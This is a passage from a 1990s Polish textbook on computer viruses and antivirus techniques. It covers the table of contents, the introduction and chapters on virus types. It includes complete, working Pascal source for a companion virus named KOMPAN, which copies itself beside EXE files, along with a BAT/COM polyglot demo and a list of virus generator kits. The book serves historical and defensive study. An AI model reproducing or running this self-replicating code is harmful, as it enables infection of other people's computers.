Wirusy Pisanie wirusów i antywirusów


SPIS ROZDZIAŁÓW


Wstęp ............................................ XV

Rozdział 1. Podstawowe wiadomości o wirusach ..............................1

Rozdział 2. Rodzaje wirusów ..............................................................5

Rozdział 3. Podział wirusów ze względu na sposób działania po uruchomieniu ..................................................................17

Rozdział 4. Obiekty atakowane przez wirusy ....................................33

Rozdział 5. Instalacja w pamięci operacyjnej ....................................97

Rozdział 6. Przejmowanie przerwań i znajdowanie czystych wejść do systemu ........................................................................109

Rozdział 7. Ukrywanie się w systemie operacyjnym .......................143

Rozdział 8. Szyfrowanie kodu ..........................................................173

Rozdział 9. Inne mechanizmy stosowane przez wirusy ...................213

Rozdział 10. Przyszłość wirusów .......................................................235

Rozdział 11. Rodzaje programów antywirusowych ............................241

Rozdział 12. Techniki używane przez programy antywirusowe .........247

Rozdział 13. Konwencje stosowane przez programy antywirusowe -standard CARO ............................................................299

Rozdział 14. Profilaktyka antywirusowa ............................................311

Rozdział 15. Literatura .......................................................................319


SPIS TREŚCI

Wstęp XV

Rozdział 1. Podstawowe wiadomości o wirusach .......... 1

1.1. Co to jest i jak działa wirus komputerowy ............................... 3

1.2. Języki programowania wykorzystane do pisania wirusów ...... 4

Rozdział 2. Rodzaje wirusów .......................................... 5

2.1. Wirusy pasożytnicze (ang. parasite infectors) ....................... 7

2.2. Wirusy towarzyszące (ang. companion infectors) ................. 8

2.3. Wirusy plików wsadowych (ang. batchviruses)....................... 12

2.4. Makrowirusy, wirusy makrosów (ang. macroviruses) .............. 13

2.5. Generatory wirusów ................................................................ 14

2.6. Robaki (ang. worms) .............................................................. 14

2.7. Konie trojańskie (ang. trojan horses) ...................................... 14

2.8. Bomby logiczne (ang. logical bombs)...................................... 15

Rozdział 3. Podział wirusów ze względu na sposób działania

po uruchomieniu ............................................................ 17

3.1. Wirusy nierezydentne (ang. non-resident yiruses) ............... 19

3.2. Wirusy rezydentme (ang. resident viruses) .......................... 21

3.2.1. Szybkie infektory (ang. fast infectors) .................................. 31

3.2.2. Wolne infektory (ang. slow infectors) ................................... 32

Rozdział 4. Obiekty atakowane przez wirusy .................. 33

4.1. Pliki...................................................................................35

4.1.1. Pliki wykonywalne COM ............................. 35

4.1.2. Pliki wykonywalne EXE ............................... 45

4.1.2.1. Pliki EXE dla systemu DOS (stare EXE) ..................... 45

4.1.2.2. Pliki EXE dla trybu chronionego (nowe EXE) .................. 57

4.1.2.2.1. Pliki EXE dla Windows (NE) ............................. 59

4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) .... 66

4.1.4. Pliki systemowe DOS ............................... 75

4.1.4.1. Interpretator poleceń .................................... 75

4.1.4.2. Jądro systemu (ang, kemel infector) ........................ 75

4.1.5. Pliki wsadowe BAT ................................. 76

4.1.6. Pliki DOC ......................................... 77

4.1.7. Pliki XLS.......................................... 79

4.1.8. Pliki ASM ......................................... 80

4.2. Sektory systemowe .................................. 86

4.2.1. Główny Rekord Ładujący (ang. Master Boot Record - MBR) 86

4.3. Rekord ładujący (ang. BOOt-sector)..................... 92

4.4. Jednostki Alokacji Plików (JAP) (ang. dusters) ............ 94

4.5. Wirusy kombinowane (ang. multipartition) ................ 96

Rozdział 5. Instalacja w pamięci operacyjnej ............. 97

5.1. Instalacja w tablicy wektorów przerwań .................. 99

5.2. Instalacja w obszarze zmiennych DOS .................. 100

5.3. Instalacja w pamięci poniżej 640kB i UMB ............... 100

5.4. Instalacja w pamięci HMA ............................. 106

5.5. Nietypowe metody instalacji ........................... 107

5.5.1. Pamięć ekranu .................................... 107

5.5.2. Bufory dyskowe DOS ............................... 108

Rozdział 6. Przejmowanie przerwań i znajdowanie czystych

wejść do systemu ................................... 109

6.1. Najczęściej przejmowane i wykorzystywane przerwania ..... 111

6.2. Wykorzystanie funkcji DOS ............................ 117

6.3. Bezpośrednie zmiany w tablicy wektorów przerwań ,.,,,., 118

6.4. Włączanie się do istniejącego łańcucha obsługi przerwania

i znajdowanie czystych wejść do systemu (ang. tunnelling) .... 119

6.4.1. Korzystanie ze stałych adresów w systemie (przerwania

21hl2Fh) ............................................ 120

6.4.2. Wykorzystanie trybu krokowego procesora (ang. tracing)... 122

6.4.3. Tuneling rekursywny (ang, recursive tunnelling)........... 122

6.4.4. Trik 2F/13 ........................................ 124

6.5. Wykorzystanie trybu chronionego ....................... 141

6.6. Włączanie się jako program obsługi urządzenia ........... 142

Rozdział 7. Ukrywanie się w systemie operacyjnym ........ 143

7.1. Technika stealth ..................................... 145

7.1.1. Podawanie prawdziwych długości plików (ang, semi-stealth) 146

7.1.1.1. Polecenie DIR wywoływane z poziomu DOS ................. 146

7.1.1.2. Programy nakładkowe używające krótkich nazw programów

(DOS, Windows 3.1)...................................... 149

7.1.1.3. Programy wykorzystujące długie nazwy plików (Windows95)

oraz polecenie DIR wywoływane z poziomu okna Tryb MS-DOS . 150

7.1.2. Podawanie oryginalnych długości i zawartości plików

(ang.full stealth)....................................... 152

7.1.3. Podawanie prawdziwej zawartości sektorów (ang. Sectorlevel stealth) .............................................. 169

7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth) ............... 169

7.2. Modyfikacja CMOS-a ................................. 170

7.3. Atrybut etykiet dysku (ang. VolumeID) .................. 171

7.4. Dodatkowe ścieżki na dyskach ......................... 171

Rozdział 8. Szyfrowanie kodu ......................... 173

8.1. Procedury szyfrujące kod ............................. 177

8.2. Procedury dekodujące ................................ 178

8.2.1. Polimorficzne procedury dekodujące ................... 179

8.2.1.1. Semi-polimorfizm ........................................ 179

8.2.1.2. Pełny polimorfizm ........................................ 193

Rozdział 9. Inne mechanizmy stosowane przez wirusy ..... 213

9.1. Sposoby dostępu do dysków .......................... 215

9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyj-

ne i antyheurystyczne .................................... 227

9.3. Optymalizacje kodu .................................. 231

9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi .................... 232

Rozdział 10. Przyszłość wirusów ......................... 235

10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform

viruses) ............................................. 237

10.2. Wirusy infekujące wewnątrzplikowo (ang, surface infectors) 238

10.3. Wirusy zmienne genetycznie (mutujące swój kod) ........ 238

10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty 239

Rozdział 11. Rodzaje programów antywirusowych ......... 241

11.1. Skanery (ang. scaners) ............................. 243

11.2. Monitory (ang. behaviour blockers, interceptors, resident

monitors) ............................................ 243

11.3. Szczepionki (ang. disinfectors) ....................... 244

11.4. Programy autoweryfikujące .......................... 244

11.5. Programy zliczające sumy kontrolne (ang. integniy checkers). 245

Rozdział 12. Techniki używane przez programy antywirusowe ....................................... 247

12.1. Skaning .......................................... 249

12.2. Heurystycze wyszukiwanie wirusów .................... 272

12.3. Tryb krokowy ...................................... 284

12.4. Emulacja procesora ................................. 284

12.5. Przynęty (ang. baits, decoys) ......................... 285

12.6. Odświeżanie programów systemowych w sektorach ....... 285

12.7. Blokowanie programów używających trybu krokowego ..... 286

12.8. Pobieranie wielkości pamięci operacyjnej ............... 291

Rozdział 13. Konwencje stosowane przez programy antywiru-

sowe - standard CARO .............................. 299

Rozdział 14. Profilaktyka antywirusowa .................. 311

14.1. Ochrona przed wirusami plików uruchamialnych ......... 313

14.2. Ochrona przed bombami logicznymi i końmi trojańskimi ... 315

14.3. Ochrona przed makrowirusami ........................ 316

Rozdział 15. Literatura ............................... 319



Wstęp

Tematem niiejszego opracowania są wirusy komputerowe jeden z najbardziej tajemniczych i kontrowersyjnych tworów istniejących w świecie komputerów.

Od początku swego istnienia wirusy komputerowe były owiane mgłą tajemnicy zaś ich twórców uznawano za ludzi wiedzących znacznie więcej niż zwykli śmiertelnicy. Tymczasem wirus to zwykły program komputerowy który choć może bardziej wyrafinowany od innych jest na pewno o wiele łatwiejszy do napisania niż jakakolwiek aplikacja użytkowa czy gra.

Większość spotykanych wirusów to prymitywne przeróbki, bazujące na istniejących od dawna, klasycznych już i uznawanych za wzorcowe wirusach, takich Jak Jerusalem, Vienna, Stoned, Vacsina czy wirusy Dark Avengera. Przeróbki ograniczają się najczęściej do zmiany tekstu wewnątrz wirusa lub ewentualnie sekwencji kodu, czego wynikiem jest kolejna z licznych mutacji znanego wirusa. Oprócz nich istnieje bardzo mała grupa wirusów, których pojawienie się na komputerowej scenie wiązało się z zastosowaniem przez ich autorów nowych, nieznanych jeszcze nikomu sztuczek. Do tych ostatnich zaliczają się niewątpliwie wirusy wspomnianego już wyżej Dark Avengera, najsłynniejszego chyba twórcy wirusów komputerowych. On to właśnie jako pierwszy zastosował metodę zmiennych procedur szyfrujących w swym polimorficznym enginie MtE, a także jako jeden z pierwszych potrafił omijać zainstalowane monitory antywirusowe, czy odnajdywać oryginalne wejścia do znajdujących się w BIOS-ie procedur obsługi przerwania 13h.

Pojawienie się nowego wirusa infekującego nie zajętą jeszcze do tej pory platformę sprzętową lub programową budzi zwykle nie lada sensację, zwłaszcza gdy w sprawę wmieszają się media, żerujące na

tego typu historiach. Pomimo że najczęściej trywialny, wirus taki otwiera bowiem kolejną furtkę dla całej rzeszy późniejszych racjonalizatorów oraz wywołuje istną lawinę komentarzy na temat bezpieczeństwa systemów komputerowych.

tak widać, twórcy wirusów tworzą środowisko rządzące się swoimi własnymi prawami. Cały czas trwa wyścig nad wymyśleniem jeszcze lepszych lub całkowicie nowych, nieznanych wirusów. Ciekawa przykład twórczego podejścia do programowania wirusów zademonstrował autor ukrywający się pod pseudonimem Stormbringer w wirusie JUMP. Nazwa wirusa nie jest przypadkowa, gdyż, po de-asemblacji listing tego wirusa składa się tylko i wyłącznie z samych rozkazów skoków (właściwy kod został sprytnie ukryty wewnątrz wirusa).

Prymat w programowaniu wirusów wiodą niezaprzeczalnie mieszkańcy państw byłego bloku wschodniego, głównie Bułgarzy, Rosjanie i Słowacy. Dzieje się tak głównie z powodu braku, w tych krajach unormowań prawnych dotyczących przestępstw komputerowych, które istnieją już w wielu państwach zachodnich.

W dobie globalnej ekspansji sieci Internet w zasadzie każda osoba chcąca dowiedzieć się czegoś o wirusach może dostać się do bogatych, istniejących na całym świecie archiwów, poświęconych w całości programowaniu wirusów. Oferują one wirusy w wersji źródłowej, generatory wirusów, kolekcje złapanych egzemplarzy wirusów, a także tzw. ziny, czyli prowadzone przez wyspecjalizowane grupy magazyny (w postaci plików tekstowych lub stron HTML), poświęcone programowaniu wirusów (np.: 40HEX, VLAD, NukE InfoJournal, VBB, Immortal Riot). Za sprawą Intemetu w skład grup prowadzących te magazyny wchodzą ludzie ze wszystkich stron świata, którzy, co ciekawe, najczęściej deklarują się jako zagorzali przeciwnicy wirusów destrukcyjnych, a samo programowanie wirusów traktują jako swoistą sztukę. Po części mają rację, gdyż pisanie wirusów jest nie tylko świetną okazją do dogłębnego poznania systemu operacyjnego, ale i sprawdzenia własnych umiejętności programistycznych.

Liczba wirusów złapanych na świecie rośnie z roku na rok i nic me wykazuje na to, aby tendencja ta miała ulec gwałtownej zmianie. W kolekcji wirusów należącej do jednej z czołowych firm amerykańskich produkującej programy antywirusowe znajduje się obecnie ponad 20000 próbek wirusów, z czego ok. 6000 to wirusy całkowicie

różne. Należy pamiętać, iż istnienie wirusów komputerowych jest ściśle związane z niedoskonałością zarażanych przez nie systemów operacyjnych. Twórcy wirusów skrzętnie wykorzystują do swych celów wszelkie możliwe luki w systemie: nieudokumentowane funkcje, systemowe struktury danych, a nawet odnalezione własnoręcznie błędy w kodzie systemu. To właśnie wirusy - paradoksalnie - pośrednio wpływają na wzrost bezpieczeństwa systemów komputerowych, gdyż kolejne wersje różnych środowisk zwykle starają się załatać istniejące luki w systemie.

Osobne miejsce w dyskusjach na temat wirusów zajmują programy antywirusowe (w literaturze często określane skrótem AV). O ile pisanie wirusów jest raczej indywidualnym procesem twórczym, o tyle pisanie skutecznych programów antywirusowych stało się domeną całych grup programistycznych, których członkowie muszą posiadać o wiele większą wiedzę na temat wirusów niż typowy twórca wirusów. Usuwanie wirusów jest procesem naprawczym, a to wiąże się z odpowiedzialnością, którą muszą wziąć na siebie twórcy programów AV. Autorzy wirusów nie muszą przejmować się ewentualnymi szkodami powstałymi na skutek ich błędu lub nawet zwykłej niewiedzy. W przypadku programów AV nie można pozwolić sobie nawet na najmniejsze potknięcie. O ile dodawanie do skanera kolejnych sygnatur typowych i trywialnych wirusów to zajęcie zajmujące niewiele czasu, o tyle dekodo-wanie i rozszyfrowywanie kodu najnowszych wirusów, używających kilkustopniowych zmiennych procedur szyfrujących, sztuczek anty-emulacyjnych, antydebuggerowych i antydeasemblerowych, zarażających dużą ilość obiektów i będących zwykle wolnymi infektorami, to zadanie zajmujące bardzo dużo czasu, a i tak często okazuje się, iż zastosowana metoda nic umożliwia odnalezienia wszystkich wariantów wirusa.

Aby przyspieszyć wymianę informacji na temat wirusów, autorzy różnych programów antywirusowych z całego świata utworzyli coś w rodzaju organizacji, która zajmuje się zbieraniem danych o istniejących wirusach oraz o technikach ich wykrywania i usuwania.

Poniższe rozdziały powinny przynajmniej częściowo wyjaśnić mechanizmy wykorzystywane przez nowoczesne wirusy i programy antywirusowe. Oprócz typowych i trywialnych sztuczek, stosowanych od dawna przez wyżej wymienione programy, omówionych zostało kilka bardziej zaawansowanych technik, m.in.:polimorfizm (wykorzystywanie zmiennych procedur szyfrujących);

> stealth (zaawansowane ukrywanie się w systemie);

> heurystyka (wykrywanie nowych, nieznanych wirusów na podstawie znajomości charakterystycznych ciągów instrukcji).

Do zrozumienia całości materiału niezbędna jest podstawowa znajomość komputerów PC oraz systemów DOS i WINDOWS. Niezbędna jest także przynajmniej pobieżna znajomość asemblera procesorów 80x86 i jakiegoś języka wysokiego poziomu (np.: Pascal, C). Niezorientowanego czytelnika odsyłam do pozycji umieszczonych w spisie na końcu książki.

Dla uproszczenia, w opracowaniu została zastosowana pewna konwencja, dotycząca używania w tekście funkcji systemu DOS i BIOS. Występujące w tekście skróty (XXXX/YY) oznaczają użycie funkcji XXXX przerwania programowego YY. Zapis (4B00/21) oznaczać więc będzie instrukcję uruchomienia programu przy użyciu funkcji 4B00h przerwania programowego 21h obsługiwanego przez DOS, a (4E/4F/21) oznaczać będzie wywołanie funkcji 4Eh lub 4Fh przerwania programowego 21h, w tym przypadku realizujących poszukiwania pierwszej (funkcja 4Eh) lub kolejnej (funkcja 4Fh) pozycji katalogu. Dokładny opis funkcji systemu DOS i BIOS można znaleźć w wielu różnych opracowaniach, z których najlepszym i najpełniejszym wydaje się stale rozwijana, dostępna w angielskojęzycznej wersji elektronicznej, lista przerwań Interrupt List Ralpha Browne'a.

Na koniec warto jeszcze dodać kilka uwag o słownictwie używanym w opracowaniu. Większość terminów związanych z komputerami jest siłą rzeczy pochodzenia angielskiego. Próby tworzenia ich polskich odpowiedników mijają się najczęściej z celem, gdyż powstałe w ten sposób neologizmy nie odzwierciedlają w pełni sensu słów angielskich. Liczne przykłady z literatury komputerowej (i nie tylko) ostatnich kilku lat dowiodły, iż jedynym sensownym wyjściem z tej sytuacji jest integracja pewnych terminów obcojęzycznych z językiem polskim. Z tego też powodu w opracowaniu używane są (w niezbędnym minimum) terminy angielskie opatrzone odpowiednimi komentarzami w języku polskim. W sytuacji niemożności znalezienia adekwatnego polskiego odpowiednika dla słowa angielskiego używane będzie słowo obce (np. stealth).


1.1. Co to jest i jak działa wirus komputerowy

Wirus komputerowy definiowany jest najczęściej jako krótki program mający zdolność samopowielania po jego uruchomieniu. Jest on zwykle przenoszony w zainfekowanych wcześniej plikach lub w pierwszych sektorach fizycznych logicznych dysków. Proces infekcji polega zazwyczaj na odpowiedniej modyfikacji struktury pliku albo sektora. Zainfekowaną ofiarę często nazywa się nosicielem (ang. host), a proces samopowielania - replikacją. Długość typowego wirusa waha się w granicach od kilkudziesięciu bajtów do kilku kilobajtów i w dużym stopniu zależy od umiejętności programistycznych jego twórcy, a także od języka programowania użytego do jego napisania. Od umiejętności i zamierzeń autora zależą także efekty, jakie wirus będzie wywoływał w zainfekowanym systemie (oczywiście, nie zawsze musi być to próba formatowania dysku twardego).

Większość z istniejących wirusów zawiera tylko kod odpowiedzialny za replikację (ang. dropper), natomiast "specjalne efekty" to zwykle działania uboczne spowodowane przez błędy.

Z powyższego wynika jednoznacznie, iż pomijając istniejącą zawsze możliwość sabotażu, zarażenie komputera wirusem nastąpić może tylko przy niejawnej współpracy użytkownika, który, bądź to uruchamiając zarażony program, bądź próbując wczytać system z zarażonej dyskietki, a nawet odczytując zainfekowany dokument, nieświadomie sam instaluje wirusa w używanym przez siebie komputerze.


1.2. Języki programowania wykorzystywane do pisania wirusów.

Do zaprogramowania wirusa wystarczy znajomość dowolnego popularnego języka programowania, np. Pascala czy C, jednak największy procent wirusów pisany jest w czystym asemblerze. Spowodowane jest to głównie specyfiką kodu generowanego przez ten język, a zwłaszcza jego zwięzłością. Kod maszynowy programu, który z punktu widzenia użytkownika nie robi nic, w językach wysokiego poziomu zajmie od kilkuset bajtów do kilku, a nawet kilkuset kilobajtów. W asemblerze podobny program zajmie od jednego (instrukcja RET w pliku COM) do czterech bajtów (wywołanie funkcji 4Ch przerwania 21h). Spowodowane jest to tym, iż do każdego wygenerowanego przez siebie programu kompilatory języków wysokiego poziomu dodają standardowe prologi i epilogi, niewidoczne dla piszącego w danym języku programisty, które są odpowiedzialne m.in. za obsługę błędów, stosu, operacje we/wy itp. Można powiedzieć, iż długość programu wynikowego (rozumianego jako kod maszynowy) jest wprost proporcjonalna do poziomu języka programowania, w którym został on napisany. Na korzyść asemblera przemawia także fakt, iż z jego poziomu mamy bardzo dużą swobodę w dostępie do pamięci czy portów, a programista ma możliwość świadomego wpływu na kształt przyszłego programu, np. w zakresie używanych instrukcji czy rozwiązań programowych. Jak widać, programy napisane w asemblerze są optymalne pod względem szybkości działania i długości kodu, a więc język ten jest jakby stworzony do programowania wirusów. Jedyną wadą asemblera jest to, iż programów w nim napisanych nie można przenosić na komputery o innej architekturze, stąd mogą one egzystować tylko w jednej rodzinie komputerów.

Oprócz typowych języków programowania do zaprojektowania wirusa można wykorzystać języki makr, wbudowane w nowoczesne edytory tekstów lub arkusze kalkulacyjne. Zawarte w nich mechanizmy pozwalają na infekcję każdego otwieranego przez program dokumentu lub arkusza. Ze względu na poziom abstrakcji na Jakim operują języki makr, są one wymarzonym narzędziem do tworzenia wirusów, zwłaszcza dla początkujących programistów. Nie muszą się oni bowiem przedzierać przez dokumentację systemu czy też formaty infekowanych plików. Wszystkie operacje na fizycznych obiektach są zaimplementowane w makrach i wykonują się bez konieczności ingerencji programisty.


ROZDZIAŁ 2


2.1. Wirusy pasożytnicze (ang. parasite infectors)

W zasadzie większość istniejących wirusów to wirusy pasożytnicze, które wykorzystują swoje ofiary do transportu, modyfikując ich strukturę wewnętrzną. Jedynym ratunkiem dla zainfekowanych obiektów jest użycie szczepionki lub w ostateczności kopii zapasowych, gdyż zzarażane pliki z reguły nie są przez wirusa leczone. Wyjątek stanowią nieliczne wirusy wykorzystujące pliki tylko do transportu między komputerami, mające za główny cel infekcję tablicy partycji lub BOOT sektora dysku twardego. Po zainfekowaniu któregoś z tych obiektów wirus zmienia działanie i leczy wszystkie używane pliki znajdujące się na twardym dysku, a infekuje jedynie pliki już znajdujące się na dyskietkach lub dopiero na nie kopiowane.

Ze względu na miejsce zajmowane w zainfekowanych plikach wirusy pasożytnicze dzieli się na:
> Wirusy nadpisujące (ang. overwrite infectors), lokujące się na początku pliku, często nie zapamiętujące poprzedniej zawartości pliku (co w efekcie nieodwracalnie niszczy plik);
> Wirusy lokujące się na końcu pliku (ang. end of file infectors), najbardziej rozpowszechniona odmiana wirusów pa
sożytniczych, które modyfikują pewne ustalone struktury na początku pliku tak, aby wskazywały na wirusa, po czym dopisują się na jego końcu;
> Wirusy nagłówkowe (ang. header infectors), lokujące się w nagłówku plików EXE przeznaczonych dla systemu DOS; wyk
orzystują one fakt, iż nagłówek plików EXE jest standardowo ustawiany przez programy linkujące na wielokrotność jednego sektora (512 bajtów). Zwykle wirusy te nie przekraczają rozmiaru jednego sektora i infekuje poprzez przejęcie funkcji BIOS służących do odczytu i zapisu sektorów (02,03/13);

> Wirusy lokujące się w pliku w miejscu gdzie jest jakiś pusty, nie wykorzystany obszar (np. wypełniony ciągiem zer), który można nadpisać nie niszcząc pliku (ang. cave infectors),

> Wirusy lokujące się w dowolnym miejscu pliku (ang. surface infectors), dość rzadkie, bardzo trudne do napisania;

> Wirusy wykorzystujące część ostatniej Jednostki Alokacji Pliku JAP (ang. slack space infector), korzystające z faktu, iż plik rzadko zajmuje dokładnie wielokrotność jednej JAP.


2.2. Wirusy towarzyszące (ang. companion infectors)

Wirusy tego typu są najczęściej pisane w językach wysokiego poziomu. Atakują one pliki, a ich działanie opiera się na hierarchii stosowanej przez DOS podczas uruchamiania programów.

W momencie uruchomiania programu, w przypadku nie podania rozszerzenia uruchamianego pliku, najpierw poszukiwany jest plik o rozszerzeniu COM, potem EXE, a na końcu BAT. W przypadku wykorzystywania interpretatora poleceń 4DOS dochodzą Jeszcze pliki BTM, poszukiwane podczas uruchamiania programu przed plikami BAT. Na przykład, jeżeli w jednym katalogu istnieją 3 pliki:

- PROG.BAT,

- PROG.COM,

- PROG.EXE,

to kolejność ich uruchamiania byłaby następująca:

- PROG.COM,

- PROG.EXE,

- PROG.BAT.

Plik PROG.COM będzie się uruchamiać, ilekroć będziemy podawać nazwę PROG bez rozszerzenia lub z rozszerzeniem COM. Plik PROG.EXE można w tym wypadku uruchomić wyłącznie poprzez podanie jego pełnej nazwy, bądź też poprzez uprzednie usunięcie pliku PROG.COM z danego katalogu. Z kolei uruchomienie pilku BAT wymaga albo usunięcia z katalogu obu plików: PROG-COM i PROG.EXE, albo też podania w linii poleceń całej jego nazwy. Jak widać, wirus ma kilka możliwości, aby zainfekować uruchamiany program:

- Istnieje plik COM: nie można zastosować infekcji;

- Istnieje plik EXE: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM, zawierający wirusa;

- Istnieje plik BAT: można utworzyć plik o takiej samej nazwie, o rozszerzeniu COM lub EXE, zawierający wirusa.

Następna próba uruchomienia tak zarażonego programu spowoduje najpierw uruchomienie podszywającego się pod program wirusa, a dopiero ten, po zakończeniu pracy, przekaże sterowanie do programu macierzystego, najczęściej poprzez wywołanie programu interpretatora poleceń z parametrem: /C NazwaPlikuOfiary.

Ciekawym rozszerzeniem techniki opisanej powyżej jest sposób infekcji stosowany przez wirusy towarzyszące, wykorzystujące zmienną środowiskową PATH (ang. path companion infectors). Zmienna PATH określa listę katalogów przeszukiwanych przez system DOS podczas uruchamiania programu. Wirus wykorzystujący tę technikę tworzy plik, zawierający kod wirusa w innym katalogu, znajdującym się w zmiennej środowiskowej PATH przed katalogiem, w którym znajduje się zarażana ofiara. W tym wypadku infekcję można zastosować dla dowolnego z plików COM, EXE, BAT, gdyż kolejność uruchamiania zależna jest przede wszystkim od zawartości zmiennej PATH. Na przykład, jeżeli zmienna środowiskowa PATH określona jest jako:

PATH = C:\;C:\DOS;C:\WINDOWS,

a w katalogu C:\DOS umieścimy plik WIN.BAT, to podczas kolejnego wywoływania systemu WINDOWS (poprzez uruchomienie programu C:\WINDOWS\WIN.COM bez podawania ścieżki, czyli najczęściej WIN [ENTER]) z katalogu innego niż C:\WINDOWS system uruchomi najpierw plik C:\DOS\WIN.BAT, a ten dopiero uruchomi właściwy program C:\WINDOWS\WIN.COM. Poniżej przedstawiono przykład prostego wirusa towarzyszącego. Jest on napisany w języku Pascal i infekuje parę plików COM, EXE.



(*;------------------------------------------------------------------------;*)

(*; ;*)

(*; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;*)

(*; ;*)

(*; KOMPAN v1.0, Autor : Adam Blaszczyk 1997 ;*)

(*; ;*)

(*; Prosty wirus typu towarzyszacego ;*)

(*; Infekuje pliki EXE w biezacym katalogu ;*)

(*; Do istniejacego pliku EXE dopisuje plik o rozszerzeniu COM ;*)

(*; ;*)

(*;------------------------------------------------------------------------;*)


{$A-,B-,D-,E-,F-,G-,I-,L-,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y-}

{$M 8192,0,16384}


uses

Dos, Crt;


const

MaskaEXE = '*.EXE';


var

Szuk : SearchRec;

NazwaNosiciela,

NazwaOfiary : String;

PlikNosiciela,

PlikOfiary : File;

DlugoscNosiciela : LongInt;

Bufor : Pointer;

I : Byte;

Status : Boolean;


begin


WriteLn;

WriteLn (' KOMPAN v1.0, Autor : Adam Blaszczyk 1997');

WriteLn;


NazwaNosiciela := ParamStr (0);


WriteLn (' Czy chcesz uruchomic wirusa (T/N) ?');


if UpCase(ReadKey)='T' then

begin


WriteLn;

Status :=False;

FindFirst (MaskaEXE, AnyFile, Szuk);


while (DosError = 0) and (IOResult = 0) and (not Status) do

begin

with Szuk do

if not ((Name='.') or

(Name='..') or

(not (Attr and Directory and VolumeID<>0))) then

begin

NazwaOfiary:=Name;


Delete (NazwaOfiary, Pos ('EXE',NazwaOfiary),3);


NazwaOfiary:=NazwaOfiary+'COM';


Assign (PlikOfiary, NazwaOfiary);


Reset (PlikOfiary,1);


if IOResult <> 0 then

begin

Status:=True;

WriteLn (' Tworze KOMPANA : ',NazwaOfiary);

Assign (PlikNosiciela, NazwaNosiciela);

Reset (PlikNosiciela, 1);


DlugoscNosiciela := FileSize (PlikNosiciela);

GetMem (Bufor,DlugoscNosiciela);

BlockRead (PlikNosiciela, Bufor^, DlugoscNosiciela);

ReWrite (PlikOfiary,1);

BlockWrite (PlikOfiary , Bufor^, DlugoscNosiciela);

Close (PlikNosiciela);

Close (PlikOfiary);

FreeMem (Bufor, DlugoscNosiciela);

end;

end;

FindNext (Szuk);

end;


If Not Status then WriteLn (' Nie znalazlem zadnego kandydata do infekcji !');

end;


Delete (NazwaNosiciela,Pos ('.COM',NazwaNosiciela),4);

NazwaNosiciela := '/C '+NazwaNosiciela+'.EXE';


for I:=1 to ParamCount do

NazwaNosiciela := NazwaNosiciela +' '+ParamStr(I);


SwapVectors;

Exec(GetEnv('COMSPEC'), NazwaNosiciela);

SwapVectors;

end.


2.3. Wirusy plików wsadowych (ang. batchviruses)

Wirusy plików wsadowych wykorzystujące do transportu pliki BAT, istnieją od dość dawna, pomimo raczej ubogiego zestawu środków, jakimi dysponuje ich potencjalny twórca. Może wydawać się to niedorzeczne, lecz często potrafią infekować nie tylko pliki BAT, ale także pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania).

Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomocą polecenia ECHO, którego parametry są przekierowywane do pliku), zawierający właściwy kod infekujący pliki BAT. Po utworzeniu jest on wykonywany, a następnie kasowany.

Ze względu na to, iż procesor nie rozróżnia kodu i danych, można, poprzez sprytną manipulację, utworzyć plik, który będzie mógł się wykonać zarówno Jako typowy plik BAT, jak i plik COM.

Na przykład typowe polecenia plików wsadowych, wykonywane przez procesor jako część kodu programu COM, będą rozumiane jako:


polecenie pliku BAT

instrukcje widziane przez procesor


REM

52h PUSH DX ; db 'R'

45h INC BP ; db 'E'

4Dh DEC BP ; db 'M'


ECHO

45h INC BP : db 'E'

43h INC BX : db 'C'

48h DEC AX ; db 'H'

4Fh DEC Dl ; db 'O'

@

40h INC AX ; db '@'

7t0 (deklaracja etykiety - interpretator nie wykonuje)

3Ah 37h CMP DH.[BX]; db ':7'

74h 30h JZ $+30h ; 't0'


Po uruchomieniu zainfekowanego w ten sposób pliku BAT wirus kopiuje się do pliku tymczasowego o rozszerzeniu COM i wykonuje się, tym razem jako kod maszynowy.

Poniżej zamieszczono przykład prostego pliku (na dyskietce, w katalogu COMBAT), który wykonuje się niezależnie od tego, czy jest wywoływany z rozszerzeniem BAT czy COM. Po uruchomieniu wyświetla on napis informujący o rozszerzeniu, z jakim został wywołany.

:7█:

@ECHO OFF

@ECHO Dzialam jako plik BAT !

@GOTO KONIEC

¬II-I@ªM_-!ªL-!Dzialam jako plik COM !$

:KONIEC


2.4. Makrowirusy, wirusy makrosów (ang. macroviruses)

Tego typu wirusy to jeden z najnowszych pomysłów. Makrowirusy nie zarażają programów uruchamiałnych, lecz pliki zawierające definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro).

Do mnożenia się makrowirusy wykorzystują funkcje zawarte w językach makr, wbudowanych w powyższe aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel.


2.5. Generatory wirusów

Na przestrzeni ostatnich kilku lat pojawiło się wiele programów umożliwiających stworzenie własnego wirusa, nawet bez znajomości systemu, czy mechanizmów wykorzystywanych przez wirusy. Narzędzia tego typu są dostępne w sieci Internet. Korzystając z gotowych modułów w asemblerze można utworzyć wirusa o zadanych parametrach, wybieranych najczęściej przy pomocy przyjaznego użytkownikowi menu lub specjalnego pliku definicyjnego. Można więc określić zakres obiektów infekowanych przez tworzonego wirusa, rodzaj efektów specjalnych, sposób ewentualnej destrukcji, a także warunki zadziałania efektów specjalnych. Oprócz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworzą także pełne, najczęściej dobrze opisane źródła w asemblerze, co umożliwia przeciętnemu, ale zainteresowanemu pisaniem wirusów użytkownikowi, dokształcenie się w tej dziedzinie. Najbardziej znane generatory wirusów to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator).


2.6. Robaki (ang. worms)

